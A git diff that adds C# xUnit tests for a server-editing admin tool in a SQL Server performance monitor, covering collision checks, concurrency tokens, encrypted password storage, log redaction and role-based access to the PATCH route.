+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task AMissingRow_IsNotFound()
+    {
+        var answer = await Run(new FakeStore { Row = null }, "{\"monthly_cost_usd\":5}");
+
+        Assert.Equal("not_found", Status(answer));
+    }
+
+    [Fact]
+    public async Task AnAddressAnotherServerHolds_Collides_AsOccupied_BeforeTheProbe()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+        store.OtherKeys.Add("BETA-01.example.test");
+
+        var answer = await Run(store, "{\"host\":\"beta-01.example.test\",\"password\":\"" + Secret + "\"}");
+
+        Assert.Equal("collides", Status(answer));
+        Assert.Equal("occupied", JsonNode.Parse(answer)!["reason"]!.GetValue<string>());
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task AProbeThatLandsInADatabaseAnotherServerCovers_Collides_AndNothingIsWritten()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+        store.OtherKeys.Add("alpha-01.example.test:Covered");
+        Edit.ServerProbe lands = (_, _) => Task.FromResult(new ConnectionProbeResult(
+            true, 15, 3, "Enterprise", false, false, false, true, null, ConnectedDatabase: "Covered"));
+
+        var answer = await Run(store, "{\"read_only_intent\":false,\"database\":\"Wrong\",\"password\":\"" + Secret + "\"}", lands);
+
+        Assert.Equal("collides", Status(answer));
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task AFailedProbe_IsConnectionFailed_NothingIsWritten_AndTheSecretIsRedactedFromTheDetail()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+
+        var answer = await Run(store, "{\"host\":\"b.example.test\",\"password\":\"" + Secret + "\"}", Unreachable("login failed for " + Secret));
+
+        Assert.Equal("connection_failed", Status(answer));
+        Assert.DoesNotContain(Secret, answer, StringComparison.Ordinal);
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Theory]
+    [InlineData(0, "updated")]
+    [InlineData(1, "not_found")]
+    [InlineData(2, "conflict")]
+    [InlineData(3, "collides")]
+    public async Task TheStoresWriteVerdict_IsTheAnswer(int verdict, string expected)
+    {
+        var store = new FakeStore { Row = SqlRow(), WriteResult = (Edit.ServerEditWriteKind)verdict };
+
+        var answer = await Run(store, "{\"monthly_cost_usd\":5}");
+
+        Assert.Equal(expected, Status(answer));
+    }
+
+    [Fact]
+    public async Task AnUpdated_NamesWhatChanged_TheToken_AndTheOneTimeAddressSentence()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+
+        var answer = JsonNode.Parse(await Run(store, "{\"host\":\"b.example.test\",\"display_name\":\"Beta\",\"password\":\"" + Secret + "\"}", Reachable))!;
+
+        Assert.Equal("updated", answer["status"]!.GetValue<string>());
+        Assert.Equal(41, answer["server_id"]!.GetValue<int>());
+        Assert.Equal(["display_name", "host", "password"], answer["changed"]!.AsArray().Select(n => n!.GetValue<string>()).ToArray());
+        Assert.True(answer["reconnects"]!.GetValue<bool>());
+        Assert.True(answer["tested"]!.GetValue<bool>());
+        Assert.Equal(Edit.ModifiedAtToken(Stamp.AddSeconds(1)), answer["modified_at"]!.GetValue<string>());
+        Assert.Contains("keeps its id and history", answer["note"]!.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Equal("b.example.test", store.LastNewKey);
+
+        var costOnly = JsonNode.Parse(await Run(new FakeStore { Row = SqlRow() }, "{\"monthly_cost_usd\":5}"))!;
+        Assert.DoesNotContain("keeps its id", costOnly["note"]!.GetValue<string>(), StringComparison.Ordinal);
+        Assert.False(costOnly["tested"]!.GetValue<bool>());
+        Assert.False(costOnly["reconnects"]!.GetValue<bool>());
+    }
+
+    [Fact]
+    public async Task TheColumnsWritten_AreExactlyTheChangedOnes_NeverAnIdentityOrOwnerColumn()
+    {
+        var store = new FakeStore { Row = SqlRow(engine: "postgres") };
+
+        await Run(store, "{\"host\":\"b.example.test\",\"port\":1444,\"database\":\"D\",\"read_only_intent\":true,\"monthly_cost_usd\":3," +
+                         "\"encrypt_mode\":\"Strict\",\"trust_server_certificate\":true,\"multi_subnet_failover\":true,\"username\":\"u2\"," +
+                         "\"display_name\":\"n\",\"password\":\"" + Secret + "\"}", Reachable);
+
+        var columns = store.LastSets.Select(s => s.Column).OrderBy(c => c, StringComparer.Ordinal).ToArray();
+        Assert.Equal(
+            ["database", "encrypt_mode", "encrypted_password", "host", "monthly_cost_usd", "multi_subnet_failover", "name", "port",
+             "read_only_intent", "trust_server_certificate", "username"],
+            columns);
+        var listed = (string[])Edit.BuildEditFunctionParameters(41, Stamp, store.LastSets)[2].Value!;
+        foreach (var banned in new[] { "server_id", "engine", "is_enabled", "excluded_databases", "remediation_username", "remediation_encrypted_password", "plan_force_bot_enabled", "capture_plans" })
+        {
+            Assert.DoesNotContain(banned, listed);
+        }
+    }
+
+    [Fact]
+    public async Task TheStoredSecret_IsTheProtectedForm_NotThePlaintextForm()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+
+        await Run(store, "{\"host\":\"b.example.test\",\"password\":\"" + Secret + "\"}", Reachable);
+
+        var stored = Assert.Single(store.LastSets, s => s.Column == "encrypted_password");
+        /* Sealed for the connection the row has after the edit: the new host, everything else as the row held it. */
+        var row = SqlRow();
+        var binding = PasswordBinding.ForServer(ServerConnectionIdentity.FromStoredColumns(
+            "b.example.test", row.Port, row.Engine, row.Database, row.ReadOnlyIntent, row.Auth, row.Username, row.EncryptMode,
+            row.TrustServerCertificate, row.MultiSubnetFailover));
+        Assert.Equal(Secret, TestKeyRings.Healthy.Open((string)stored.Value!, binding));
+        Assert.NotEqual(Secret, stored.Value);
+        var movedAgain = PasswordBinding.ForServer(ServerConnectionIdentity.FromStoredColumns(
+            row.Host, row.Port, row.Engine, row.Database, row.ReadOnlyIntent, row.Auth, row.Username, row.EncryptMode,
+            row.TrustServerCertificate, row.MultiSubnetFailover));
+        Assert.Throws<PasswordSealException>(() => { _ = TestKeyRings.Healthy.Open((string)stored.Value!, movedAgain); });
+    }
+
+    [Fact]
+    public async Task NoAnswerAndNoLogLine_ForAnyStatus_HoldsTheSubmittedSecret()
+    {
+        var logger = new CapturingLogger();
+        var answers = new List<string>();
+        var secretBody = "\"password\":\"" + Secret + "\"";
+
+        answers.Add(await Run(new FakeStore { Row = SqlRow() }, "{\"host\":\"b.example.test\"," + secretBody + "}", Reachable, logger: logger));
+        answers.Add(await Run(new FakeStore { Row = SqlRow() }, "{\"host\":\"b.example.test\"," + secretBody + ",\"expected_modified_at\":\"stale\"}", Reachable, logger: logger));
+        answers.Add(await Run(new FakeStore { Row = SqlRow() }, "{\"host\":\"b.example.test\"," + secretBody + "}", Unreachable("bad " + Secret), logger: logger));
+        answers.Add(await Run(new FakeStore { Row = null }, "{\"host\":\"b.example.test\"," + secretBody + "}", Reachable, logger: logger));
+        answers.Add(await Run(new FakeStore { Row = SqlRow(), OtherKeys = { "b.example.test" } }, "{\"host\":\"b.example.test\"," + secretBody + "}", Reachable, logger: logger));
+        answers.Add(await Run(new FakeStore { Row = SqlRow() }, "{\"engine\":\"postgres\"," + secretBody + "}", Reachable, logger: logger));
+        answers.Add(await Run(new FakeStore { Row = SqlRow() }, "{\"passwrd\":\"" + Secret + "\"}", Reachable, logger: logger));
+        answers.Add(await Run(new FakeStore { Row = SqlRow(), WriteResult = Edit.ServerEditWriteKind.Conflict }, "{\"host\":\"b.example.test\"," + secretBody + "}", Reachable, logger: logger));
+        answers.Add(await Run(new FakeStore { Row = SqlRow() }, "{\"host\":\"b.example.test\",\"password\":\"" + LiteralSecret + "\"}", Reachable, ring: TestKeyRings.NotReady, logger: logger));
+
+        Assert.Equal(9, answers.Count);
+        Assert.All(answers, a =>
+        {
+            Assert.DoesNotContain(Secret, a, StringComparison.Ordinal);
+            Assert.DoesNotContain(LiteralSecret, a, StringComparison.Ordinal);
+        });
+        Assert.All(logger.Lines, l =>
+        {
+            Assert.DoesNotContain(Secret, l, StringComparison.Ordinal);
+            Assert.DoesNotContain("SYNTH_EDIT_SECRET_REF", l, StringComparison.Ordinal);
+        });
+    }
+
+    [Fact]
+    public async Task TheAuditLine_NamesTheIdAndTheFieldNames_NeverAValue()
+    {
+        var logger = new CapturingLogger();
+        var store = new FakeStore { Row = SqlRow() };
+
+        await Run(store, "{\"display_name\":\"Distinct-New-Name\",\"host\":\"distinct-new-host.example.test\",\"password\":\"" + Secret + "\"}", Reachable, logger: logger);
+
+        var line = Assert.Single(logger.Lines);
+        Assert.Contains("41", line, StringComparison.Ordinal);
+        Assert.Contains("display_name,host,password", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("Distinct-New-Name", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("distinct-new-host", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("SYNTH_EDIT_SECRET_REF", line, StringComparison.Ordinal);
+
+        var quiet = new CapturingLogger();
+        await Run(new FakeStore { Row = SqlRow() }, "{\"monthly_cost_usd\":10}", logger: quiet);
+        await Run(new FakeStore { Row = SqlRow(), WriteResult = Edit.ServerEditWriteKind.Conflict }, "{\"monthly_cost_usd\":11}", logger: quiet);
+        Assert.Empty(quiet.Lines);
+    }
+
+    /* ---------------- a move of host or port asks for the password BEFORE any connection test (#5240) ---------------- */
+
+    [Theory]
+    [InlineData("sql", "sqlserver", "{\"host\":\"beta-01.example.test\"}")]
+    [InlineData("serviceprincipal", "sqlserver", "{\"host\":\"beta-01.example.test\"}")]
+    [InlineData("sql", "postgres", "{\"port\":5433}")]
+    [InlineData("sql", "postgres", "{\"host\":\"beta-01.example.test\"}")]
+    public async Task AMoveOfHostOrPort_OnASecretRow_AsksForThePasswordBeforeTheTest_WithNoProbeAndNoWrite(string auth, string engine, string changes)
+    {
+        var probed = 0;
+        Edit.ServerProbe counting = (config, ct) =>
+        {
+            probed++;
+            return Reachable(config, ct);
+        };
+        var store = new FakeStore { Row = SqlRow(auth: auth, engine: engine) };
+
+        var answer = JsonNode.Parse(await Run(store, changes, counting))!;
+
+        Assert.Equal("invalid", answer["status"]!.GetValue<string>());
+        Assert.Equal(Edit.EditPasswordNeededText, answer["message"]!.GetValue<string>());
+        Assert.Equal(0, probed);
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task AMoveOfHost_WithThePassword_TestsWithTheNewOne_AndSavesIt()
+    {
+        string? testedWith = null;
+        Edit.ServerProbe capturing = (config, ct) =>
+        {
+            testedWith = config.Password;
+            return Reachable(config, ct);
+        };
+        var store = new FakeStore { Row = SqlRow() };
+
+        var answer = await Run(store, "{\"host\":\"beta-01.example.test\",\"password\":\"" + Secret + "\"}", capturing);
+
+        Assert.Equal("updated", Status(answer));
+        Assert.Equal(Secret, testedWith);
+        Assert.Contains(store.LastSets, s => s.Column == "encrypted_password");
+    }
+
+    [Fact]
+    public async Task AStoreThatRefusesAMoveWithoutASecret_GivesTheSameAnswerThePlanGives()
+    {
+        var store = new FakeStore { Row = SqlRow(), WriteResult = Edit.ServerEditWriteKind.PasswordNeeded };
+
+        var answer = JsonNode.Parse(await Run(store, "{\"monthly_cost_usd\":5}"))!;
+
+        Assert.Equal("invalid", answer["status"]!.GetValue<string>());
+        Assert.Equal(Edit.EditPasswordNeededText, answer["message"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task AStoreThatRefusesAReferenceAsThePassword_GivesTheOneSentenceForIt()
+    {
+        var store = new FakeStore { Row = SqlRow(), WriteResult = Edit.ServerEditWriteKind.ReferenceRefused };
+
+        var answer = JsonNode.Parse(await Run(store, "{\"monthly_cost_usd\":5}"))!;
+
+        Assert.Equal("invalid", answer["status"]!.GetValue<string>());
+        Assert.Equal("Enter the password itself. References (env: or file:) can only be set in the configuration file.", answer["message"]!.GetValue<string>());
+        Assert.Equal(Edit.EditReferenceRefusedText, answer["message"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task AStoreThatKeepsARemediationLoginOnAMove_GivesTheOneSentenceForIt()
+    {
+        var store = new FakeStore { Row = SqlRow(), WriteResult = Edit.ServerEditWriteKind.RemediationKept };
+
+        var answer = JsonNode.Parse(await Run(store, "{\"monthly_cost_usd\":5}"))!;
+
+        Assert.Equal("invalid", answer["status"]!.GetValue<string>());
+        Assert.Equal("This server has a remediation login stored. Change how it is reached on the service host, in the configuration file or with --add-server.", answer["message"]!.GetValue<string>());
+        Assert.Equal(Edit.EditRemediationKeptText, answer["message"]!.GetValue<string>());
+    }
+}
diff --git a/Darling/Darling.Tests/ServerEditGateLiveTests.cs b/Darling/Darling.Tests/ServerEditGateLiveTests.cs
new file mode 100644
index 0000000000..07dce38ce2
--- /dev/null
+++ b/Darling/Darling.Tests/ServerEditGateLiveTests.cs
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net;
+using System.Net.Http;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The #5240 edit routes through the REAL web pipeline (<c>DarlingWebHostService.ConfigurePipeline</c>, as
+/// <see cref="DarlingWebHostGateLiveTests"/> does), with session cookies minted under a key the test chose: an
+/// anonymous caller is 401, a read-only sign-in is 403 on the unsafe edit method and on the by-id admin read (the
+/// host's group gate lets that GET through, so the route refuses it itself), an editing sign-in reaches the route, and
+/// only PATCH is routed on the edit path. The store pool is never opened: every request that reaches the route is
+/// one the route refuses before it touches the store.
+/// </summary>
+public sealed class ServerEditGateLiveTests
+{
+    private const string ListenIp = "192.168.1.205";
+    private const string Token = "correct-token-value";
+    private static readonly IPAddress InCidrRemote = IPAddress.Parse("192.168.1.50");
+    private static readonly byte[] Key = RandomNumberGenerator.GetBytes(32);
+
+    private static string Cookie(string? subject, WebOidcRole? role) =>
+        DarlingWebHostService.SessionCookieName + "=" + DarlingWebHostService.BuildSessionCookieValue(
+            Key, DateTimeOffset.UtcNow.AddHours(1), subject is null ? null : DarlingWebSeat.EncodeCookieSubject(subject, role!.Value));
+
+    private static async Task<TestServer> BuildServer()
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var postgres = NpgsqlDataSource.Create("Host=localhost;Database=postgres;Username=darling");
+        builder.Services.AddSingleton(postgres);
+        DarlingWebHostService.ConfigureResponseCompression(builder.Services);
+        var app = builder.Build();
+        var host = new DarlingWebHostService(
+            NullLogger<DarlingWebHostService>.Instance, new WebRuntimeState(), new CollectorRuntimeState(), new WebTlsCertificateState(), new BaselineCache());
+        host.ConfigurePipeline(
+            app, postgres, networkMode: true, networkListenIp: IPAddress.Parse(ListenIp), allowedCidr: IPNetwork.Parse("192.168.1.0/24"),
+            accessToken: Token, oidcClient: null, publicBaseUrlHost: null, sessionSigningKeyForTests: Key);
+        await app.StartAsync();
+        return app.GetTestServer();
+    }
+
+    private static async Task<(int Status, string Body)> SendAsync(TestServer server, string method, string path, string? cookie, string? body = null)
+    {
+        var ctx = await server.SendAsync(c =>
+        {
+            c.Request.Method = method;
+            c.Request.Path = path;
+            c.Request.Headers.Host = ListenIp;
+            c.Connection.RemoteIpAddress = InCidrRemote;
+            if (cookie is not null)
+            {
+                c.Request.Headers["Cookie"] = cookie;
+            }
+
+            if (body is not null)
+            {
+                c.Request.ContentType = "application/json";
+                c.Request.Body = new System.IO.MemoryStream(Encoding.UTF8.GetBytes(body));
+            }
+        });
+        return (ctx.Response.StatusCode, await new System.IO.StreamReader(ctx.Response.Body).ReadToEndAsync());
+    }
+
+    private const string Edit = "{\"display_name\":\"x\",\"password\":\"Zq9-fake-secret-must-never-appear-7XK\"}";
+
+    [Theory]
+    [InlineData("PATCH", "/api/servers/41")]
+    [InlineData("GET", "/api/admin/servers/41")]
+    public async Task AnAnonymousCaller_IsRefused401Json_OnBothEditRoutes(string method, string path)
+    {
+        using var server = await BuildServer();
+        var (status, body) = await SendAsync(server, method, path, cookie: null, method == "PATCH" ? Edit : null);
+        Assert.Equal(StatusCodes.Status401Unauthorized, status);
+        Assert.Contains("\"error\"", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("Zq9", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AReadOnlySignIn_IsRefused403_OnPatch_BeforeTheRoute_WithoutEchoingTheBody()
+    {
+        using var server = await BuildServer();
+        var (status, body) = await SendAsync(server, "PATCH", "/api/servers/41", Cookie("bob", WebOidcRole.Viewer), Edit);
+        Assert.Equal(StatusCodes.Status403Forbidden, status);
+        Assert.Contains("read-only", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("Zq9", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AReadOnlySignIn_IsRefused403_OnTheByIdAdminRead_BeforeTheStore()
+    {
+        using var server = await BuildServer();
+        var (status, body) = await SendAsync(server, "GET", "/api/admin/servers/41", Cookie("bob", WebOidcRole.Viewer));
+        Assert.Equal(StatusCodes.Status403Forbidden, status);
+        Assert.Contains("read-only", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AnEditingSignIn_ReachesThePatchRoute_WhichRefusesAMissingTokenWith400()
+    {
+        using var server = await BuildServer();
+        var (status, body) = await SendAsync(server, "PATCH", "/api/servers/41", Cookie("alice", WebOidcRole.Admin), Edit);
+        Assert.Equal(StatusCodes.Status400BadRequest, status);
+        Assert.Contains("expected_modified_at", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("Zq9", body, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("POST")]
+    [InlineData("PUT")]
+    [InlineData("DELETE")]
+    public async Task OnlyPatchIsRoutedOnTheEditPath_ForAnEditingSignIn(string method)
+    {
+        using var server = await BuildServer();
+        var (status, _) = await SendAsync(server, method, "/api/servers/41", Cookie("alice", WebOidcRole.Admin), Edit);
+        Assert.Equal(StatusCodes.Status405MethodNotAllowed, status);
+    }
+
+    [Theory]
+    [InlineData("POST")]
+    [InlineData("PUT")]
+    [InlineData("PATCH")]
+    [InlineData("DELETE")]
+    public async Task EveryUnsafeMethod_OnTheAdminReadPath_IsRefusedForAReadOnlySignIn_AndNotRoutedForAnEditingOne(string method)
+    {
+        using var server = await BuildServer();
+        Assert.Equal(StatusCodes.Status403Forbidden, (await SendAsync(server, method, "/api/admin/servers/41", Cookie("bob", WebOidcRole.Viewer), "{}")).Status);
+        Assert.Equal(StatusCodes.Status405MethodNotAllowed, (await SendAsync(server, method, "/api/admin/servers/41", Cookie("alice", WebOidcRole.Admin), "{}")).Status);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerEditLiveTests.cs b/Darling/Darling.Tests/ServerEditLiveTests.cs
new file mode 100644
index 0000000000..f15a2cd563
--- /dev/null
+++ b/Darling/Darling.Tests/ServerEditLiveTests.cs
@@ -0,0 +1,583 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using Edit = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another
+   one. The role it connects as is created for the fact and dropped in its cleanup. */
+
+/// <summary>
+/// <c>edit_server</c> (#5240) against a store, connected as the <c>mcp</c> role: the statements are TAKEN FROM
+/// <see cref="DarlingManagedRoles.BuildProvisioningSql"/> with the role name swapped, so removing a grant the edit
+/// needs makes these fail with 42501. The owner-side reads prove what the write left alone.
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class ServerEditLiveTests : IDisposable
+{
+    private readonly DarlingOwnedSet _ownedBefore = DarlingOwnedSecrets.Current;
+
+    public ServerEditLiveTests() => DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+
+    public void Dispose() => DarlingOwnedSecrets.Set(_ownedBefore);
+
+    private static readonly string RolePassword = Convert.ToHexString(RandomNumberGenerator.GetBytes(16));
+
+    private const string SecretRef = "Synth-Edit-Live-Pw-1";
+
+    private static readonly Edit.ServerProbe Reachable = (_, _) => Task.FromResult(
+        new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null));
+
+    private sealed record Rig(ScratchPostgres Scratch, NpgsqlDataSource Owner, NpgsqlDataSource Mcp, string Role) : IAsyncDisposable
+    {
+        public async ValueTask DisposeAsync()
+        {
+            await Mcp.DisposeAsync();
+            await Owner.DisposeAsync();
+            await Scratch.DisposeAsync();
+        }
+    }
+
+    private static List<string> McpStatements(string roleName, string database)
+    {
+        var provisioning = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+        var statements = new List<string>();
+        var uncommented = string.Join('\n', provisioning.Split('\n').Where(l => !l.TrimStart().StartsWith("--", StringComparison.Ordinal)));
+        foreach (var raw in uncommented.Split(';'))
+        {
+            var statement = raw.Trim();
+            var isGrant = statement.StartsWith("GRANT ", StringComparison.Ordinal);
+            if (!isGrant && !statement.StartsWith("REVOKE ", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var marker = isGrant ? " TO " : " FROM ";
+            var at = statement.LastIndexOf(marker, StringComparison.Ordinal);
+            if (at < 0 || statement.Contains("EXECUTE ON FUNCTION", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            if (!statement[(at + marker.Length)..].Split(',').Select(t => t.Trim()).Contains("mcp", StringComparer.Ordinal))
+            {
+                continue;
+            }
+
+            statements.Add(ViewerGrantReplay.OnDatabase(statement[..at], database) + marker + roleName);
+        }
+
+        return statements;
+    }
+
+    private static async Task<Rig> OpenAsync(CancellationToken ct)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live edit_server tests (each mints its own scratch database and role).");
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var owner = NpgsqlDataSource.Create(ownerString);
+        var role = "srv_edit_" + Guid.NewGuid().ToString("N")[..8];
+        await ExecAsync(owner, $"CREATE ROLE {role} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'", ct);
+        foreach (var statement in McpStatements(role, scratch.DatabaseName))
+        {
+            await ExecAsync(owner, statement, ct);
+        }
+
+        /* The edit write is a function (#5240) the provisioning batch creates and grants: the real one, EXECUTE for this role. */
+        await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config"), ct);
+        await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config"), ct);
+        await ExecAsync(owner, $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerSignature}) TO {role}", ct);
+        await ExecAsync(owner, $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerLegacySignature}) TO {role}", ct);
+        await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+        var mcp = NpgsqlDataSource.Create(new NpgsqlConnectionStringBuilder(ownerString) { Username = role, Password = RolePassword }.ConnectionString);
+        return new Rig(scratch, owner, mcp, role);
+    }
+
+    private static async Task DropRoleAsync(Rig rig, bool bodySucceeded) =>
+        await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+            ExecAsync(rig.Owner, $"DROP OWNED BY {rig.Role}; DROP ROLE IF EXISTS {rig.Role};", CancellationToken.None));
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<T> ScalarAsync<T>(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        return (T)Convert.ChangeType((await command.ExecuteScalarAsync(ct))!, typeof(T));
+    }
+
+    private static Task SeedServerAsync(
+        NpgsqlDataSource owner, int id, string name, string host, string auth, string? username, string? blob, CancellationToken ct,
+        string? remediationBlob = null) =>
+        ExecAsync(owner, $@"INSERT INTO config_monitored_servers
+            (server_id, name, host, auth, username, encrypted_password, excluded_databases, capture_plans, is_enabled,
+             alert_delivery_mode_override, plan_force_bot_enabled, remediation_username, remediation_encrypted_password, monthly_cost_usd)
+            VALUES ({id}, '{name}', '{host}', '{auth}', {(username is null ? "NULL" : "'" + username + "'")}, {(blob is null ? "NULL" : "'" + blob + "'")},
+                    ARRAY['tempdb','model'], TRUE, FALSE, 'PerEvent', TRUE, 'rem-user', {(remediationBlob is null ? "NULL" : "'" + remediationBlob + "'")}, 7)", ct);
+
+    private static async Task<string> RowSignatureAsync(NpgsqlDataSource owner, int id, CancellationToken ct) =>
+        await ScalarAsync<string>(owner, $@"SELECT concat_ws('|', is_enabled, array_to_string(excluded_databases, ','), capture_plans,
+            alert_delivery_mode_override, plan_force_bot_enabled, remediation_username, remediation_encrypted_password, engine, created_at)
+            FROM config_monitored_servers WHERE server_id = {id}", ct);
+
+    private static JsonNode Parse(string answer) => JsonNode.Parse(answer)!;
+
+    /// <summary>Opens the stored value of a row with <paramref name="ring"/>, through the connection settings the row holds.</summary>
+    private static async Task<string> OpenStoredAsync(NpgsqlDataSource owner, int id, IPasswordKeyRing ring, CancellationToken ct)
+    {
+        await using var command = owner.CreateCommand(
+            "SELECT " + ServerConnectionIdentity.StoredColumns + ", encrypted_password FROM config_monitored_servers WHERE server_id = " + id);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        var identity = ServerConnectionIdentity.FromStoredColumns(
+            reader.IsDBNull(0) ? null : reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetInt32(1),
+            reader.IsDBNull(2) ? null : reader.GetString(2), reader.IsDBNull(3) ? null : reader.GetString(3),
+            !reader.IsDBNull(4) && reader.GetBoolean(4), reader.IsDBNull(5) ? null : reader.GetString(5),
+            reader.IsDBNull(6) ? null : reader.GetString(6), reader.IsDBNull(7) ? null : reader.GetString(7),
+            !reader.IsDBNull(8) && reader.GetBoolean(8), !reader.IsDBNull(9) && reader.GetBoolean(9));
+        return ring.Open(reader.GetString(10), PasswordBinding.ForServer(identity));
+    }
+
+    [Fact]
+    public async Task AsTheMcpRole_AnEditOfNameCostAndAddress_KeepsTheIdTagsAndSettings_AndBumpsTheBeaconOnce()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await SeedServerAsync(rig.Owner, 5101, "alpha-01", "alpha-01.example.test", "integrated", null, null, ct);
+            await SeedServerAsync(rig.Owner, 5102, "alpha-02", "alpha-02.example.test", "integrated", null, null, ct);
+            var tags = new ServerTagStore(rig.Owner, 30);
+            var tag = Assert.IsType<ServerTagWriteResult.Ok>(await tags.CreateAsync("East", null, null, ct)).Tag!;
+            await tags.AssignAsync(tag.Id, [5101, 5102], ct);
+            var before = await RowSignatureAsync(rig.Owner, 5101, ct);
+            var versionBefore = await ScalarAsync<long>(rig.Owner, "SELECT config_version FROM config_service", ct);
+            var modifiedBefore = await ScalarAsync<string>(rig.Owner, "SELECT modified_at::text FROM config_monitored_servers WHERE server_id = 5101", ct);
+
+            var name = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-01.example.test", "{\"display_name\":\"Orders\",\"monthly_cost_usd\":120}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", name["status"]!.GetValue<string>());
+            Assert.Equal(5101, name["server_id"]!.GetValue<int>());
+            Assert.Equal(versionBefore + 1, await ScalarAsync<long>(rig.Owner, "SELECT config_version FROM config_service", ct));
+
+            var address = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "Orders", "{\"host\":\"alpha-09.example.test\"}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", address["status"]!.GetValue<string>());
+            Assert.Equal(5101, address["server_id"]!.GetValue<int>());
+            Assert.Contains("keeps its id", address["note"]!.GetValue<string>(), StringComparison.Ordinal);
+
+            Assert.Equal("Orders", await ScalarAsync<string>(rig.Owner, "SELECT name FROM config_monitored_servers WHERE server_id = 5101", ct));
+            Assert.Equal("alpha-09.example.test", await ScalarAsync<string>(rig.Owner, "SELECT host FROM config_monitored_servers WHERE server_id = 5101", ct));
+            Assert.Equal(120L, await ScalarAsync<long>(rig.Owner, "SELECT monthly_cost_usd::bigint FROM config_monitored_servers WHERE server_id = 5101", ct));
